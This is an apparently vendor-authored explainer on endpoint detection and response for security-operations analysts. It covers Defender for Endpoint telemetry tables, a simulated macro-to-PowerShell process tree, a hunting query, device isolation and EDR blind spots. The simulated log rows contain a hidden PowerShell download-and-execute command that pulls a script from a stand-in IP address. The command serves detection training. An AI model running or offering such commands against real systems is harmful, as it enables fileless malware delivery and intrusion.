What is EDR?

The acronym describes the job. The endpoint is any device that can run the agent: workstations, laptops, servers, virtual machines. Detection is the alerting built on top of what the agent records. Response is what you can do to that device from the console without touching it. Antivirus asks whether a file is known to be bad. EDR keeps a history of what each process did, so you can work out what happened before and after an alert, even after the file that started it has been deleted.

What EDR does in a SOC

In the NIST Cybersecurity Framework 2.0, endpoint telemetry is one direct way to meet outcome DE.CM-09: "Computing hardware and software, runtime environments, and their data are monitored to find potentially adverse events." The agent does four jobs:

The record at the center of an endpoint investigation is process creation. MITRE ATT&CK tracks it as data component DC0032, Process Creation: "the event in which a new process (executable) is initialized by an operating system", parent-child relationships and arguments included. The log sources ATT&CK lists for it include Sysmon event 1, Windows Security event 4688 and Defender advanced hunting. The command line is where they differ. Event 4688 only records it when a separate audit policy is turned on, while an EDR process table has a column for it: ProcessCommandLine in Microsoft Defender for Endpoint.

Telemetry and alerts are two layers

An EDR console holds two kinds of data, and an investigation needs both.

• Telemetry is every recorded event, malicious or not. In Defender for Endpoint it lands in advanced hunting tables such as DeviceProcessEvents, DeviceNetworkEvents and DeviceFileEvents. Advanced hunting reaches back 30 days of raw Defender XDR data. Keeping it longer means onboarding a Microsoft Sentinel workspace and setting the table's analytics-tier retention.
• Alerts are the small part of that activity a detection flagged. They live in AlertInfo and AlertEvidence, the second holding the entities attached to each alert: files, IP addresses, URLs, users and devices.

An alert tells you a rule matched. Telemetry tells you what else the same process, account or device did, which is how you decide whether the alert is a true positive and how far it reached. Closing an alert on its title alone skips that step. The reverse also holds. An attacker who never trips a rule still leaves rows in the telemetry, and those rows are what threat hunting searches.

Reading a process tree in DeviceProcessEvents

Simulated example generated by SOCSimulator Research. The device, account, file name and IP address are invented (the IP comes from the 203.0.113.0/24 documentation range). The table and column names are Microsoft's.

A user in finance opens an email attachment. These are two rows from DeviceProcessEvents on ws-fin-07.corp.example:

Row 1   Timestamp 2026-10-14 09:12:07Z
  AccountName                      j.ortega
  InitiatingProcessParentFileName  explorer.exe
  InitiatingProcessFileName        WINWORD.EXE
  InitiatingProcessId              6212
  InitiatingProcessCommandLine     "WINWORD.EXE" /n "C:\Users\j.ortega\Downloads\Invoice_4471.docm"
  FileName                         cmd.exe
  ProcessId                        7340
  ProcessCommandLine               cmd.exe /c powershell.exe -NoProfile -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.45/a.ps1')"
 
Row 2   Timestamp 2026-10-14 09:12:08Z
  AccountName                      j.ortega
  InitiatingProcessParentFileName  WINWORD.EXE
  InitiatingProcessFileName        cmd.exe
  InitiatingProcessId              7340
  FileName                         powershell.exe
  ProcessId                        7412
  ProcessCommandLine               powershell.exe -NoProfile -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.45/a.ps1')"

Each row is one process start. FileName, ProcessId and ProcessCommandLine describe the new process. The InitiatingProcess* columns describe the process that started it, and InitiatingProcessParentFileName goes one level higher. You chain rows by matching one row's ProcessId to the next row's InitiatingProcessId: 7340 is the cmd.exe that Word started, and it is also the parent of powershell.exe. The tree is WINWORD.EXE > cmd.exe > powershell.exe.

Three details in those rows decide the case:

1. Word has no business starting a shell, and a macro-enabled .docm from Downloads explains how it did.
2. The PowerShell command line hides the window, skips the profile and pipes a script downloaded from a bare IP address into IEX (Invoke-Expression). DownloadString returns the script as a string, so the second stage runs in memory without being saved as a file. That is the pattern behind fileless malware and living off the land.
3. AccountName is a regular user, so the next question is what that session reached, not whether an admin account is involved.

The next pivot is DeviceNetworkEvents on the same device with InitiatingProcessId 7412. Its RemoteIP, RemotePort and RemoteUrl columns show whether the download connected and where the script went next. Windows reuses PIDs after a process exits, so on a busy device match InitiatingProcessCreationTime as well.

To look for the same pattern on every device, this query returns shell launches whose parent or grandparent is an Office application:

// Office apps starting a shell, directly or one hop down through another shell
let OfficeApps = dynamic(["winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe"]);
let Shells = dynamic(["cmd.exe", "powershell.exe", "pwsh.exe", "wscript.exe", "cscript.exe", "mshta.exe"]);
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ (Shells)
| where InitiatingProcessFileName in~ (OfficeApps)
    or (InitiatingProcessFileName in~ (Shells) and InitiatingProcessParentFileName in~ (OfficeApps))
| project Timestamp, DeviceName, AccountName, InitiatingProcessParentFileName,
    InitiatingProcessFileName, InitiatingProcessId, FileName, ProcessId, ProcessCommandLine
| order by Timestamp asc

The query is written against the documented DeviceProcessEvents schema. If a sanctioned add-in shows up in the results, exclude its exact command line rather than the whole parent process, or the next macro document hides behind the same exclusion.

What "isolate device" does, and what it does not

Microsoft's documentation for Defender for Endpoint is specific about how isolation behaves:

• It disconnects the device from the network but keeps its connection to the Defender for Endpoint service, which goes on monitoring the device. Telemetry keeps arriving and you can still open a live response session.
• Selective isolation can leave Outlook and Microsoft Teams connected.
• If the device is offline when you isolate it, Defender retries for up to three days. Until the device reconnects it is not isolated, whatever the console says you requested.
• A device behind a full-tunnel VPN cannot reach the Defender cloud service once isolated. Microsoft recommends split tunneling for Defender traffic.
• Isolating a Hyper-V host blocks network traffic for all of its child virtual machines.

Isolation is a network control. It does not end a process that is already running, remove persistence or do anything to the user's account. A session token stolen from that laptop still works from the attacker's own machine, so the account actions belong in the same containment step. For a compromised device with no agent, Defender has Contain device instead: every onboarded device blocks traffic to and from it. Microsoft supports the blocking on onboarded Windows 10 and Windows Server 2019 or later devices and recommends containing no more than 100 devices at a time.

Where EDR does not see

• Devices without the agent. Unmanaged laptops, printers, network appliances, OT equipment and any cloud server nobody onboarded. Contain device can protect the neighbors of such a device, but nothing is recorded from inside it.
• Traffic between other devices. The agent sees the connections its own host makes. Two unmanaged devices talking to each other, or traffic that never touches an enrolled host, needs network telemetry: firewall logs or NDR.
• Identity and cloud activity. A sign-in with a stolen token, a new mailbox rule or an OAuth consent happens at the identity provider or the SaaS service, not on the endpoint. That gap is what XDR and the SIEM cover.
• A tampered sensor. Attackers stop services, kill agent processes or edit configuration and Registry keys to blind the tool. ATT&CK v20 tracks this as T1685, Disable or Modify Tools, under the Defense Impairment tactic, and the old ID T1562.001 now redirects there. If a device stops reporting in the middle of an incident, check the agent's health before you assume the attacker left.

EDR vs antivirus and XDR

Antivirus (also sold as endpoint protection, EPP, or next-gen antivirus, NGAV) is built to block malware before it runs. EDR records activity and gives you a way to respond when something gets through, and many endpoint platforms ship both in the same agent. XDR widens the view from the endpoint to email, identity, network and cloud data and correlates them into one incident. The full comparison, with what each one shows you in an alert, is in EDR vs antivirus vs XDR.